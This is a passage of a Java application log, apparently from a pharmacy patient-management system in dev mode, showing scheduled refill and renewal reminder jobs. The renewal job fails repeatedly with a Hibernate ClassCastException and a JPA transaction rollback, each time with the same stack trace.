Reminder Job.............. 2024-02-25 09:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 09:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 09:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 09:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 09:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 09:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 09:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 09:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 09:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 09:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 09:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at 